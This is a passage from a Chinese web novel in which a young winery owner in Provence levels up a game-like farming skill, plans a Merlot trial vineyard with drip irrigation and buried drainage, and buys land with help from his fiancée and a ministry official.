康奈尔耸肩说道: “硬着头皮克服呗,还能有什么其他的办法呢?能帮助自己的只有自己,难道还能指望那些女游客闭上眼睛吗?那.那我不是白讲了?” 突然,康奈尔摸着两侧头发问罗南: “我的新发型怎么样?去梅纳村花60法郎剪的,设计师说这是城里最流行的发型,我猜一定会有城里的姑娘对我有好感!” 看到康奈尔这个样子,罗南知道他的状态无需担心。 还有心情惦记要娶城里的姑娘做妻子好得很呢。 还是担心担心自己吧。 康奈尔说的没错。 遇到困难,能帮助自己的只有自己,唉声叹气不如去多做点事情,就比如那些讨厌的账目! 回到家,罗南一推开门,意外的发现佐伊和母亲冯珍正坐在餐厅的桌子旁,她们面前放了许多单子和白纸。 “干什么呢?”罗南好奇的走过去。 这两人怎么凑一起了? 冯珍瞥了罗南一眼: “干什么?还不是为了你!” 佐伊抬头,水光明媚的浅蓝的眼眸笑意盈盈的说: “我在问阿姨关于财务的问题,以后斯特斯加的财务我来帮你处理,而且我接触一些酒庄的事情才能帮你一起回忆是不是忽视了什么、是不是弄错了什么东西,可以和你一起承担这些压力,不要担心我,我在餐厅收银台观察爸爸和维埃里的时候没有闲着,有一些基础——” 佐伊的声音没有发出来,因为被堵住了,罗南亲了好半天才把她放了: “你一定会是世界上最好的妻子。” 谁说能帮助自己的只能是自己?! 佐伊红着脸挣脱了罗南怀抱,不停用眼神看罗南的母亲。 冯珍像睡了一觉似的睁开眼睛: “嗯,怎么了?这两天睡眠不太好,坐着都能睡着,我上楼补一觉去,睡不醒脑袋不清醒,讲不明白的。” 快快快,都求婚了,我的大孙子是不是可以安排上了? 我走了,你们继续! 继续!! 第418章 老板娘上线 之前杰罗姆就是和他的妻子一起经营和管理斯特斯加,否则决定卖掉斯特斯加家后,那位夫人不会比杰罗姆看起来更加伤心。 在普罗旺斯,夫妻一起经营一门生意是非常常见的现象,《密法尔指南》记录各个餐厅的优劣势时,会特意加入老板妻子的信息。 如果老板和他的妻子婚姻幸福,这家餐厅会被更多顾客所青睐和信任。 葡萄酒属于普罗旺斯比较‘高档’的行业,通常情况下,酒庄的操作工能比其他行业的操作工拿到更高的工资。 虽然斯特斯加是专门做粉红酒的酒庄,但它在这个地区坐到了第一把交椅,佐伊的名字和斯特斯加联系到一起.对她的本职工作也会有一定程度上的助力,因为艺术家群体对粉红酒的接受程度还是非常高的。 如果未来斯特斯加做大做强了,这个帮助的效果会更加显著和积极。 因此罗南没有拒绝佐伊的提议,让她负责了斯特斯加的财务和一些简单的行政管理,成为了斯特斯加名副其实的‘老板娘’。 ‘老板娘’适应的非常不错,度过艰难的新手期后,很快就可以给罗南提出一些有效的建议了: “扣除各种扶持和税费减免后,斯特斯加每个月有6万多的人力成本需要支出,但旅游季体验项目应该可以覆盖一部分,每个月实际需要负担的非常少,在花掉8万经营费和20万5千的设备金后还剩下很多扶持资金,是不是可以买更多的土地?” 佐伊知道罗南要买地,连路易都出面去替罗南解决老尼莫那5公顷北坡地的问题了。 在解决问题的同时,路易还给了罗南一些卢尔马兰其他土地的参考价格。 卢尔马兰之前没有酒庄,所以最贵的葡萄园集中在农舍的附近,售价从去年的8万法郎/公顷,涨到了现在的11法郎/公顷甚至更高。 售价第二高的是那些日照充足的南坡,售价大概在7-10万法郎/公顷的范围,主要看距离村子的距离和海拔差异。 路易对罗南说,按照市场行情,那片北坡的价格应该在7万法郎/公顷以下,但罗南要的这么着急,价格有可能会溢出。 不过即使老尼莫‘狮子大开口’,也花不完剩下的那些资金。 其实这个问题罗南早就想过了: “地肯定要继续买,但我不想用那笔钱买。” 佐伊是罗南未来的妻子,罗南对她不想有所隐瞒,详细的给她介绍了自己的考虑。 北坡那片‘试验田’对卢尔马兰有重要的意义,如果罗南培育成功,代表的不是他自己,而是卢尔马兰的农业水平,卢尔马兰可以以此为核心争取和申请到许许多多的东西,所以他可以用政府给的资金采购。 而且即使今年秋天梅洛顺利栽种,用上这批葡萄酿酒也要至少4年之后的事情了。 所以那片地在短时间内没有经济价值,更多的是其他的意义。 但如果罗南用那笔钱继续买其他的地就会有拿着政府的钱‘谋私利’的嫌疑。 罗南非常清楚,地价一定会继续上涨,现在买地就是投资,而且是非常正确的投资。 不要忘记,罗南捡漏买的那间石屋,在1990年前后是以120万法郎的价格卖出去的。 也就是说,2年内卢尔马兰的地价会翻一倍还要多。 罗南的确拿了卢尔马兰政府130万法郎援助金,还让政府出钱盖了厂房,但罗南坚信,未来斯特斯加能给卢尔马兰带来的利益有十倍、百倍甚至更多。 政府看似投资的是罗南和斯特斯加,实际投资的是卢尔马兰,所以这份‘恩情’罗南一定可以还上。 但如果利用政府给的130万买了土地.恩情也可以还,但那太复杂了.罗南决定,如果要继续买地,会以个人的名义收购,不和斯特斯加混在一起。 “斯特斯加还要再添置一部分酿酒设备,杰罗姆在帮我联系,买完这些,剩下的钱我打算全部用来从农夫手里收葡萄,增加斯特斯加明年的产量,当然了这样做的前提是——在今年能打开足够大的新市场,虽然很难,但我相信一定可以成功的!”罗南信心十足的对佐伊说。 佐伊之前真没想过那么多,听到罗南的解释很快理解了他的用意。 罗南给的理由她认同,但地还是要买的。 “那我们就自己买。”佐伊语气坚定的说,“最近我也做了一些功课,和酒庄有关的功课,即使像莫力那样的小作坊,都有8公顷属于自己的葡萄园,斯特斯加这么大的酒庄,怎么可能只有5公顷葡萄园,其他全部从农夫手里收呢?” 罗南尴尬的笑了两声: “买买买,肯定要买,但不急于一时。” 罗南刚刚做完3月的‘经济小结’。 在2月底还拥有75万法郎巨款的他,到了3月底存款只剩下不到七十万了。 三月罗南的收入很简单,由两个组成部分。 餐厅的利润这个月有11万多,罗南拿走了9万,剩下留给父母。 编织生意分到了4万多法郎,虽然比上个月多,但规模还是没有提上去。 可这个月罗南的花销太大了。 建后院工作室时,罗南买了一套最先进的除尘系统,花了6万多。 给卢卡斯送了10万法郎去做宿主树根清理,不管未来那片实验林用哪种接种方式,都要把地先清理出来,上一次实验的残留会影响他们接下来的行动。 除此之外还买了一批优质的歌海娜育苗,给佐伊做了两个窑炉和一些户外的设施等等,零零散散的有3万多。 总结来说——3月是入不敷出的一个月。 剩下的六十多万法郎罗南不敢乱动,要时刻准备着做人工培育松露项目,费尔南教授随时都有可能给消息那边只要花钱就一定会是大数字,尤其是现在成本大大提升了。 不过好消息是,桑德琳的加入让编织生意的前景充满了希望,说不定再过几个月就可以像餐厅一样每个月带来超过10万法郎收入。 罗南的想法是,近两个月暂时先不买地,等编织生意有了一点起色、让他看到了一点希望后再行动。 这样他心里能踏实一点。 要不然总是怕会耽误人工培育松露那边的进程,尤其那边还牵扯到一个卢卡斯。 卢卡斯的状态才刚刚好起来,绝对不能再出什么差池了。 事实上,不用罗南解释什么,佐伊很快就猜到了他的顾虑,于是抿着嘴说: “还记得之前我们聊过的那个话题吗?我的钱留在手里也被我花了,你可以拿着我的钱去做更加有意义的事,你的钱先不要动,我来买。” 罗南第一反应是拒绝,不想让佐伊花钱。 但他很快反应过来似乎没有什么拒绝的理由? 现在买了就是赚到啊? 佐伊准备了一肚子话,结果罗南只是盯着她看,没有说一个单词。 她‘噗嗤’一声笑出声来: “你终于明白,我们已经是一个密不可分整体的道理了.这算不算是给那份‘人生答卷’写下了第一笔?” 之前佐伊觉得自己距离一个合格的妻子还有很长的距离。 罗南开导她说,婚姻是一辈子的考试,你还没拿到试卷,怎么就着急写答案了呢? 那之后,小情侣就以‘人生答卷’来指代婚姻。 罗南笑着摇头: “因为这份投资大概率会成功,你能赚到钱,我找不到拒绝的理由啊。” 佐伊咂了下嘴: “怎么回事,扣分扣分!是我们一定会赚到钱!” 说完,她拉住罗南的胳膊,用不容置疑的语气说: “好了,不说这件事了,我昨晚从妈妈那里学来一道新的菜品,今天中午我来做给你吃,在下午2点前,你的脑子里只能有我,不能有那些酒庄、葡萄和松露的事情,两点后,我们一起去面对和解决其他头疼的问题!记住是我们!不是你自己!” 【他人的关心使幸福度增加50点】 【与异性发生亲密接触幸福度增加35点】 在罗南最繁忙和焦头烂额的一段时间里,佐伊给了罗南足够的关心和陪伴。 她几乎拿出了所有的时间,除了跟罗南一起思考和解决斯特斯加的各种琐事外,还把他照顾的无微不至。 每天罗南早上醒来,佐伊一定已经在他家楼下了,等着和他一起‘上班’。 中午做饭吃饭,再在幸福的氛围里一起睡个午觉。 晚上雷打不动要去村里夜游一趟,畅想着美好的未来。 虽然在斯特斯加起步之初的这段日子里,罗南没有过一天轻松的日子,忙的像是个‘小陀螺’,还压力巨大,但他的心情却幸福极了——耳边的提示音和不断提升的系统数值就是最好的证明。 佐伊给罗南带来的巨大的幸福感,已经可以让他心态平和到,无论老尼莫卖不卖地、梅洛什么时候能种出来都不会着急生气的状态了。 “实在不行,我就在南坡试试,斯特斯加厂房南坡那片地可以随时买下来。” 老尼莫钻了牛角尖,不拿到‘补偿’誓不罢休,罗南觉得一直等也不是个事情。 斯特斯加建在那个山坡不会变了,因为那里的风景非常棒,北坡不行就在南坡呗。 他让皮埃尔去问了下,那个农夫还真可以卖地。 土壤问题,南坡和北坡一样,都需要更改土壤属性。 北坡只是多了一个‘阴凉’的属性。 不过这段时间,佐伊让【幸福度】积累速度加快了许多,距离5级【种植】只差一点点经验值。 万一5级【种植】可以解决‘阴凉’这个问题呢? 总不能在一棵树上吊死吧? “可以,你想好了我让爸爸你帮你找便宜的土地。”佐伊对罗南的决定永远都是支持的态度,“中午我就和他说,让他现在开始留意。” “好。”罗南语气轻松的说,“下午你不要过来了,安心的去签约,我自己可以。” 葡萄园参观项目已经推出,康奈尔在粉红酒博物馆里介绍完斯特斯加后,会邀请游客去看看卢尔马兰的葡萄园,还可以在风景秀丽的葡萄园里野餐一顿,餐食和酒水都由他们来提供。 以前游客就喜欢去葡萄园里野餐和拍照,农夫们对待他们像是对待‘野猪’一样粗鲁。 不过现在不一样了,给钱了,你们想在葡萄园里干什么都行,钱到位住里面也没问题。 新项目试运营的几天反响还不错,卢尔马兰是去年吕贝隆山区里葡萄品质最好的一个村子,还是有一定吸引力的。 村子里的游客中心里也同时上线了这个游玩项目,等游客们抵达普罗旺斯,报名的人数应该不会少的。 虽然现在的游客还不多,但这几天罗南都在这里盯着,趁着人少随时改进,佐伊自然陪着罗南一起。 不过今天下午,罗南不想让佐伊来了。 在路易的帮助下,佐伊顺利的用30万法郎订下了4公顷南坡的梯田葡萄园,今天下午就要去签合同了。 这可是大事,不能耽误的。 佐伊有些不放心的说: “我很快回来。” 中午,路易约了佐伊和卖地的农夫一起吃饭,既希望对方能再让步一点点。 担心罗南这个公认的富商出现,影响他们的计划,今天罗南要自己吃饭了。 “放心吧。”罗南指着几个酒庄新招的伙计说,“我和他们吃。” 佐伊可爱的勾起嘴角: “可以,我准备了足够的食物,也让大家尝尝我的手艺。” 以前佐伊刻意想要提升厨艺,但是效果一般般。 最近为了照顾好繁忙的罗南,佐伊的厨艺反而提升了不少,可以得到挑食的维埃里肯定的那种水平。 “啊?”罗南吃惊的瞪大眼睛。 佐伊快速的在罗南的脸上亲了一下: “吃的东西我放在游客中心了,我还给你准备了一个吊床,你现在养成习惯了,不睡午觉下午会没有精神的,乖乖睡一觉我就回来了。” 罗南带着几个伙计去游客中心,那里的工作人员拿出了两个巨大的篮子,里面是满满的三明治、沙拉、熏肉、普罗旺斯青酱和脆饼全部是罗南爱吃的。 “上帝,佐伊现在和你的妻子有什么区别?” “我去地里干活,我妻子都没有给我带过这么多东西,她是几点起来做这些的?” “还有吊床!罗南你小子太让人羡慕了!” “你们已经是老夫老妻了啊!” 罗南拿着两个篮子‘爱不释手’的说: “什么老夫老妻,我和佐伊永永远远都在蜜月期,即使未来有了孩子、我们七老八十了,依然不会改变的相处模式。” 【他人的关心使幸福度增加50点】 【品尝心爱的人亲手做的菜肴幸福度增加18点】 【品尝心爱的人亲手做的菜肴幸福度增加21点】 今天中午,罗南吃下了平时两顿的食物,不知不觉中,5级【种植】所需的经验凑齐了。 他拍着圆鼓鼓的肚子,幸福的打开了系统。 梅洛什么时候能在卢尔马兰开始实验.就看这一下了。 第419章 这位‘女神\’太给力了! 之前罗南的系统里只有一个5级技能——【烹饪】 与之前的几级相比,5级【烹饪】带来的改变和提升是巨幅的。 它给了罗南一本类似‘黄页’的东西,里面记录了来自世界各地的菜品、甜品和饮品制作方法。 还给了罗南一个非常强大的技能——所有食物只是吃一口就能品出它的做法和用料配比。 依照5级【烹饪】带来的改变,罗南猜这个等级将会是一个分水岭,因此对5级【种植】也充满了期待。 是不是又会有一次史诗级的加强呢? 随着罗南点击【种植】后的加号,淡蓝色的系统页面立即产生了改变——他的第二个5级技能出现了。 【5级烹饪:0\10000】 【5级种植:0\10000】 【4级采集:0\5000】 【3级建造:0\2000】 【3级编织:0\2000】 【3级打猎:0\2000】 【3级制陶:0\2000】 【3级酿酒:0\2000】 【可使用经验:3】 罗南体会了一下,5级【种植】带来的能力同样有两个。 第一个是他的脑中又多了一本类似‘黄页’的东西,但里面记录的不是菜谱,而是一个个生涩难懂的专有名词,例如微气候调控、行间覆盖和反光管理等。 事实上,在升级到2级【种植】时,系统也给了罗南许多农业知识,但那些知识罗南只看名字大概能猜出里面讲的是什么东西.但这本‘黄页’里给的知识,只看名字几乎看不懂它是什么东西。 罗南随便找了一个词条‘无土栽培技术’点进去,看的嘴角都抽搐了起来。 无土栽培技术指的是不使用天然土壤,通过水培、雾培或者基质培为植物提供水分、养分和氧气的高效种植技术。 “水我理解,但是雾和基质?基质是什么?涉及的知识太先进和科技化了” 罗南没有在‘黄页’部分过多停留,里面生涩的专有名词太多了,他需要拿出时间慢慢消化里面的知识。 随后,他把注意力放到了5级【种植】带来的第二个能力上。 和上一个能力相比,罗南认为这第二个能力更加有实用性! 这项能力有一点像是‘模拟器’,设定作物和环境等具体种植信息,可以推演出N多个结局。 例如在普罗旺斯种植并不适合其气候的梅洛,有可能会被干死,有可能得白粉病、霜霉病和葡萄象鼻虫等疾病,没有一个结局是好的。 但在条件里加入新的信息后,结局会跟着出现改变,而且是翻天覆地的改变。 “这个技能来的可太及时了!”罗南在心中兴奋的感慨。 在普罗旺斯种植梅洛是一项巨大的挑战,但有了这项能力,罗南的把握可以提高好几成。 他可以在栽种之前,先模拟好成功可能性最大的种植方式,只要没有那些无法操控的气象灾害和人为的影响,总能找到一个理论上可以成功的栽种途径。 罗南迫不及待的在条件一览里加入400海拔的北坡、改良土壤和提升夏季灌溉频次这三点重要的改良信息,希望看到一些好的结局,结果让他大失所望.十几种结局里没有一个成功的! 怎么会这样? 理论上应该有一定成功概率啊 罗南干脆平躺到了阴凉下。 周围的伙计们以为他在午休,实际上罗南利用‘模拟器’一遍又一遍的进行推演,寻找问题出现在哪里。 很快他便找出了问题的关键,那个变数似乎出现在提升夏季灌溉频次上,只要这个条件加入进去,结局里一定会出现许多种被病虫害病死的结局,这些都是根系被迫进行无氧呼吸引起的。 是灌溉系统和排水系统的问题.罗南终于‘玩’明白了。 在普罗旺斯,农夫使用最多的是‘沟灌’技术,即在葡萄行间挖浅沟,引水缓慢渗透至根系,使用这种灌溉方式的人占60%。 而罗南使用的是比‘沟灌’稍微先进一点点的‘移动式喷灌’,通过可移动铝管喷头喷水。 只有村里比较富裕的农夫才会使用这种灌溉方式,相较于前者,‘移动式喷灌’会增加约30%的水资源成本,因为这种方式面临大面积的蒸发浪费问题。 灌溉系统还有优劣之分,而排水系统卢尔马兰使用的都是同一模式——明沟排水。 通过挖排水沟,简单粗暴的把多余的水分引出去。 但以上这两种方式只适合在本土葡萄上使用。 梅洛喜阴凉、还喜水,夏季势必要增加一定量的浇水频次,但浇水的方式不对、土壤的排水能力又差根被憋死了。 罗南需要升级灌溉和排水的模式。 “还好提前‘推演’了,要不然这次试验田项目凶多吉少了。”罗南后怕似的小声嘀咕了一句。 不过不用怕,本就是‘试验田’,可以加入一些更加先进的耕作方式。 卢尔马兰常用的农业技术落后,但罗南的脑袋里有先进的技术知识。 他马上修改了灌溉和排水的推导方式,将移动式喷灌改为滴灌,将明沟排水改为更加先进的暗管排水。 根据罗南脑袋里的知识显示,在1987年,这两种技术已经出现,只是不够普及。 罗南再一次期待的看向推演结果,等待一些好消息出现,但结果再一次让他吃惊——终于出现了成功的结局,但是成功的结局里标注一个‘有待提升’的警示语。 “怎么会这样?”罗南蹭的一下坐起来,吓了周围人一跳。 “你干什么呢?一惊一乍的,嘴里还念念有词?”有农夫问罗南。 罗南敷衍的摆了摆手: “想佐伊了。” 周围出现一道又一道奚落他的声音。 “才离开不到一个小时就想了?你有没有出息?” “你这样不行啊罗南,以后结婚会被佐伊死死‘拿捏’住的。” “你们懂个屁!”罗南语气不算多好的躺了回去,背过身去继续推演起来。 罗南确信,之前的失败源于落后的灌溉和排水系统,但现在升级了、也出现成功的结局了.‘有待提升’是什么意思呢? 经过了大半个小时的‘实验’,罗南终于弄清‘有待提升’出现的原因——原来是他没‘玩’明白。 把条件堆砌上去是没有用的,还有先后顺序的关系,而且先后顺序的影响是巨大的。 经过了无数次的推演,罗南终于找到了一条有成功可能且较为完美的路径,主要的改良在准备阶段。 准备阶段第一步要进行的是土壤深耕,之后不是马上回填粘土改良土壤属性,而是埋入排水暗管线与滴灌主管道路线。 下一步才是埋黏土混合,回填时同步混入黏土与石灰岩,减少机械重复作业。 土壤改良完成,最后是安装滴灌带。 在土壤沉降的过程中,测试排水、滴灌系统的稳定性和安全性,一切都准备和调试完成后,再让育苗入土,确保万无一失。 5级【种植】带来的第二个能力既像是推演,又像是一个协同性和科学性的梳理,太有用了! 想到什么,罗南突然再次坐了起来。 “好险,幸好老尼莫没有把地卖给我,如果之前就拿到了地,我现在肯定已经把土壤改完了” 几个农夫放下扑克牌,骂骂咧咧的对罗南说: “以后你别和佐伊分开了,你想她想的‘咋咋唬唬’的太吓人了。” “你和农夫们说我什么了?下午杜马他们看我的眼神怪怪的。” 佐伊买完地,马上来找罗南汇合。 只不过上午都好好的农夫们,突然变得奇怪了起来。 佐伊问他们怎么了、为什么是那副表情,他们挂着奇怪的笑容说让她问罗南去。 罗南露出幸福的笑容: “我说我想你了。” “我也想你了,我想你有没有好好吃饭,有没有好好睡午觉。”佐伊笑意盈盈的问,“你想我什么?” 罗南笑容灿烂的说: “想我的幸运女神实在太厉害了,自从你在我身边出现,我的好运气就没有停下过。” 罗南真心觉得佐伊是他的幸运女神。 许多事情,罗南一个人解决时焦头烂额,但和佐伊提起或者让她介入后,马上就‘峰回路转’了。 这一次种梅洛也是一样的。 因为佐伊的陪伴和悉心照料,罗南才能快速把【种植】升到5级,获得那个逆天的‘推演’技能,从而找到一条成功概率最高的种植途径。 无论是买了老尼莫的北坡,还是买了其他农夫的南坡罗南一定会第一时间安排人先把土壤改了,赶紧开始种植,等一切都做完才获取了技能,罗南的损失可就太多了,那将是一个恐怖的数字。 想到这里罗南突然想到一个问题。 皮埃尔说过,改良土壤的成本是1万法郎/公顷,但滴灌系统和暗管排水的成本呢? 在这个年代,这两种系统可是‘新鲜’玩意,价格不会便宜。 而且,即使罗南愿意负担高额的成本,皮埃尔能帮他找到做这些装置的人吗? 佐伊以为罗南只是‘嘴甜’,笑着扬起眉毛: “那是当然,我一定会保佑你一切顺顺利利的!” 罗南双手合十,做祷告状: “敬爱的幸运女神大人,请您保佑我能将梅洛种植成功!” 佐伊很是配合的抬起下巴,像真正的‘女神’一样,对罗南送出了祝福语: “我会保佑你一切顺利,并扫清你前方所有荆棘。” 罗南决定放弃北坡的那片空置葡萄园,采购南坡的5公顷土地做梅洛试验田。 系统新给了他这么多高科技的知识,还有那个逆天的‘推演’技,成功一定就在前方,只是需要一些时间,等他慢慢梳理下纷乱的新知识而已。 路易很快帮罗南谈好了收购条件,进入了等待签约的状态。 葡萄园参观的项目,也在一段试营业后步入了正轨,不需要去时刻盯着了。 繁忙的日子不知不觉的开始,又不知不觉的渐渐结束虽然每天还是有不少事情需要处理,但小情侣又有时间装修房子了。 罗天海和冯珍的新住所已经装修完毕。 老两口没要罗南一分钱,装修和买家具的所有钱都是自己出的。 装修完餐厅的二楼和三楼,卡福的那几个伙计立即回到罗南家,进行游泳池的打造,佐伊的精力全部扑到了那里,对于游泳池她可谓是‘寄予厚望’。 而罗南的任务,是做完之前没有做完的几个编织家具。 这一天的下午,罗南忙完了斯特斯加的工作,回到工作室继续做家具,不一会,一个意外的访客出现了。 “你怎么来了?”罗南放下了手里的藤蔓,意外的抬头打量来人。 朱莉特看向罗南手里在做的家具,饶有兴致的问: “编织还能做成柜子?” 这个小边柜她可太喜欢了! “当然。”罗南笑着说,“常见的那些家具编织都可以做出来。” 朱莉特知道卢尔马兰的妇女们都在跟着罗南做编织,但不知道还能做出这种东西。 她点了点头,依依不舍的收回视线问罗南: “你这里一切进度还顺利吗?” 朱莉特问的自然是葡萄园试验田项目。 罗南实事求是的说: “不是特别顺利,但我在努力调整了。” 朱莉特坐到一个很朴素的小板凳上,完全没有了平时政府官员的架子,她关心的说: “最近我在整理拔除计划的资料,没有顾上你这里,说说吧说说你这段时间都做了什么,又遇到了什么问题。” 给朱莉特讲述准备情况的同时,罗南的手上也没闲着,这使的聊天的氛围轻松了不少。 不过朱莉特还是能听出罗南最近遇到了许多棘手的问题。 “也就是说,地的问题你找到了‘退而求其次’的方法,但在灌溉和排水技术上遇到了难题。” 罗南点头道: “没错.要不然让我和学术机构见一面?问问他们能不能提供什么帮助?” 朱莉特拿起一根藤蔓,漫不经心的挥了两下: “不用了,我给你联系。” “你知道哪里可以采买滴灌和暗排的装置?”罗南惊讶的放下手里的事情,继续问,“你知道大概的成本吗?一套多少钱?” 朱莉特抬眉看罗南: “这两套设备,我来帮你想办法。” “啊??”罗南不停的眨巴眼睛。 农业部什么时候也财大气粗起来了? 朱莉特咂了下嘴: “你忘了吗?我说过,如果你能让拔除计划在卢尔马兰顺利的推行我会给予额外的奖励,我还说过,如果你申请了试验田,我会再给你申请其他的东西你当我是开玩笑的?” “记得记得!”罗南点头,“但我没想到这么快。” 朱莉特没有什么情绪起伏的说: “农业部没办法给你资金上的支持,但技术支持没有问题,向科技现代化转型是农业部今年最重要的三个工作之一,我们最近采购了许多邻国的先进农业设备,我可以帮你申请。” 托罗南的福,朱莉特凭借‘拔除计划’在农业部扬眉吐气了一次,偶尔回阿维尼翁开会都是走着模特步去的。 拔除计划只是第一步,等气象保险也在卢尔马兰普及下去.朱莉特升职只是早晚的问题了。 而那些精明的官员们也品出了这其中的厉害关系,朱莉特的申请会得到多方的支持和获批。 “谢谢!”罗南感激的对朱莉特说。 上帝啊,我的幸运女神太给力了吧? 真的帮我扫清荆棘了! 朱莉特在罗南家待了一会才离开,临走时,他指着罗南新做的柜子说: “你的那个线下店铺有它吗?我想给我家配置一个。” 罗南二话不说,抱起柜子送她出去: “买多见外啊,我现在就找人给你送阿维尼翁去!” 朱莉特绝对值得‘投资’! 这个礼物必须送出去! 罗南抱着柜子一路把朱莉特送到门外,正聊试验田的项目呢,一道残影突然出现,抢走了罗南手里的柜子。 老尼莫讨好的对罗南说: “我来搬我来搬,罗南,那片地你还买不买了?政府死活不给我补助,你不能再放我的‘鸽子’啊我给你便宜点行不行?你别买那片南坡了。” 佐伊正在后院和卡福的伙计们讲游泳池要做成什么样子,罗南不管不顾的把她抗起来,就要往屋里走。 “你干什么啊!”佐伊捶打起罗南的后背和胳膊。 最近压力太大,疯了是不是? 罗南‘疯疯癫癫’的说: “我必须把你供起来,我的幸运女神太给力了!” 第420章 罗南也是一道菜? 老尼莫已经错过了两份大额农业补助,再错过罗南这个买家,真的要后悔的去跳罗纳河了。 他弃耕的两年一直在找买家,连一个问的人都没有,除了罗南,没人对这片朝北的地感兴趣! 得知罗南改了主意要买南坡的土地,并且谈好价格只差签约,老尼莫立即放弃了在政府身上浪费时间,把精力投入到更加实际的地方。 担心罗南改了主意、不想要,他也不敢有‘坐地起价’的念头,报出了一个相对合理的市场价——7万法郎/公顷。 这个价格符合路易之前的预估。 不过家里有一个卢尔马兰最厉害的房产中介,只是符合预估还是不尽如人意。 在路易的努力下,双方最终谈定的成交价格为6.7万法郎/公顷,罗南一次性买走老尼莫手里全部5公顷北坡土地。 “我们还是公事公办吧,你辛苦了这么久怎么白忙碌呢?” 路易这段时间先后帮佐伊和罗南聊成了两笔价格非常不错的土地买卖。 佐伊那里就不说了两个人是父女关系。 罗南和佐伊还没结婚,路易也不肯收罗南任何的报酬,搞的罗南非常‘为难’。 “你们买地我开心啊,一点都不辛苦。”路易笑的皱纹都撑开了,拍着胸脯说,“而且在你和佐伊的影响下,我已经赚得够多了。” 两个孩子买地,说明赚到钱了。 而且买的是地,未来一定会更加有钱! 他们发展的好、发展的顺利,做父母的自然开心。 随着卢尔马兰的两次迁徙狂潮,路易也狠狠的发了一笔,最近他买了新车子,那辆老式两厢雪铁龙给即将高中毕业的维埃里了。 维埃里在寒假时考了驾照。 罗南摆着手说: “那些艺术家是维埃里和伊莎贝尔介绍给你的我和佐伊影响的不多。” 路易搂住罗南的肩膀: “但那对来自巴黎的夫妇是你介绍给我的啊,他们也买房子了,走走走,今晚去我家聚餐,你们好久没吃过莉亚做的传统地中海食物了吧?” 罗天海、冯珍和莉亚这三位餐厅开业之初的‘栋梁之才’已先后带出了可靠的接班人,过起了劳逸结合的惬意日子。 罗南意外的问: “布鲁诺的房子买在卢尔马兰了?” 路易哈哈大笑的说: “没错,他们的房子设施比较齐全,不需要改动太多,应该很快就能搬来生活,卢尔马兰又要多出一个幸福的家庭了。” 北坡的土地已经就位,罗南立即展开了下一步动作。 他首先联系了朱莉特,把确定的土地面积告诉了她。 土地面积定了,设备的数量和育苗的数量就定了。 育苗需要一定准备和培育时间,但设备的消息很快来了。 朱莉特说,今年沃克吕兹省一直在给重要合作伙伴提供先进农业设备支持,罗南要的这些东西都很好找,她走一些简单的流程马上就能送来卢尔马兰。 滴灌和暗排设备全部有了着落,罗南这里终于可以动工了。 “亨利,你先把这片地深耕一遍,一定要仔细一点,之后不要着急盖粘土,等我安排完排水暗管线和滴灌主管道路线铺设后,我们再做土壤改良。” 未来这片北坡将由亨利和罗南一起打理,罗南自然要给亨利讲仔细些。 待罗南讲完,亨利二话不说,立即开始了耕地工作。 之后罗南对皮埃尔说: “其他事情我都找到了解决办法,但黏土你得帮我找个购买渠道辛苦了伙计。” 皮埃尔没有亨利那么听话,让干什么干什么、从不问理由,他好奇的问: “粘土我来帮你联系,但那些技术顾问又跟你说什么了?” 吕贝隆地区的农业知识全部来自父辈传授,父辈那里没有出现过的技术,即使像皮埃尔这样的农夫头子也没听过。 罗南说的许多东西,他都是第一次听。 罗南耸肩: “想要在普罗旺斯试种梅洛,必须要升级灌溉和排水系统,用之前的传统方法大概率会失败,农业部支援了我一批先进设备。” 皮埃尔皱眉想了几秒,把烟掐掉,认真的问: “你能给我讲讲滴灌吗?那是一种怎样的灌溉模式?和我们现在的灌溉方式比提升了什么又改变了什么?” 这一下午,皮埃尔化身为了‘十万个为什么’,不仅围绕在普罗旺斯种植梅洛的问题和罗南进行了深度的探讨,还以此发散问出了许许多多农业的问题。 罗南自然是‘知无不言,言无不尽’,不仅给他介绍了滴灌和暗排,还讲起了许多这个时代已经出现了的先进农业技术和设施。 “你是说,以色列人还发明出了针对坡地和不平整田间自主调整灌溉方式的自动模式?而且这个系统还能将营养液直接输入到植物根部??” ‘十万个为什么’彻底不淡定了,这还是他认知中的种地吗? 人的经验不重要了,那些设备可以自动化精准调控,甚至做的比人还要好? “是的伙计,类似的技术现在世界上出现了许许多多。”罗南笑着说,“农业已经进入现代化进程了.只是卢尔马兰还没有。” “那普罗旺斯其他地区有这些先进化的设备了吗?”皮埃尔继续问。 罗南沉吟了几秒,实事求是的说: “应该有一些了,但只有少部分人能接触到,不过再过几年一定会普及起来。” 寒潮过后,罗南在戈尔德加和略伦特先生的那次见面中,看出这位普罗旺斯著名畜牧业家族的‘女婿’和朱莉特突然熟络了起来。 结合那次吃饭中他不小心带出的‘技术革新’、‘农业部动起来’了等信息,不难猜测出,略伦特所在的家族正在农业部的支持下接触先进的农业技术。 但那是普罗旺斯最大的畜牧业家族啊其他人想要在短时间内接触那些先进技术恐怕就要看机缘和巧合了。 “很快是多快?”皮埃尔锲而不舍的问。 罗南摇头: “这个我就不清楚了,下次见到朱莉特你可以问问她,看农业部打算用多久完成。” 朱莉特的驻派还没有结束,她偶尔会在卢尔马兰政府官员的陪伴下出现在卢尔马兰附近的农田里,查看大家‘拔除计划’的进程。 “问她?”皮埃尔点了一根烟,自嘲的说,“那位大人物可太高冷了,我这样说吧,除了你,她没和我们任何人主动说过话。” 皮埃尔主动‘搭讪’过两次,想要和这位官员熟络起来,但朱莉特全部用冷漠的回应挡回去了,可谓是‘油盐不进’。 罗南侧了下脑袋: “其实朱莉特挺热心的就是比较慢热,再过一阵子一定会好的。” “你就没想过,那只是针对于你而言吗?”皮埃尔猛吸了一口烟,表情复杂的看罗南。 只针对我吗.罗南在心里腹诽了一句。 因为我们同为粉红酒爱好者协会会员的关系? 还是因为其他? “她我是指望不上了,不对,是高攀不上,我还是想想其他办法吧。”皮埃尔吐出一口烟圈,看着罗南说,“这片北坡,我和你们一起种。” “你和我们一起种?”罗南的第一反应是皮埃尔在向他‘要’工作。 但这不可能啊皮埃尔拥有足够多的土地,他的收入非常高了。 但不管怎么样,皮埃尔绝对是一名强援,罗南当然欢迎了: “好,我可以给你种植园负责人的职务,薪酬——” 皮埃尔根本没有理会罗南开出的条件,快步向开着拖拉机的亨利走去: “我的薪酬就是这些先进的技术,靠我自己,在短时间内能接触到它们的可能性几乎为零,但跟在你身边就不一样了,我要快速学习它们、掌握它们,不靠别人,而是靠我自己将它们带到卢尔马兰。” 说完,他把烟扔了,一边小跑起来,一边双手呈筒状放于嘴前: “亨利!你挖歪了,不要有漏下的土地!!” 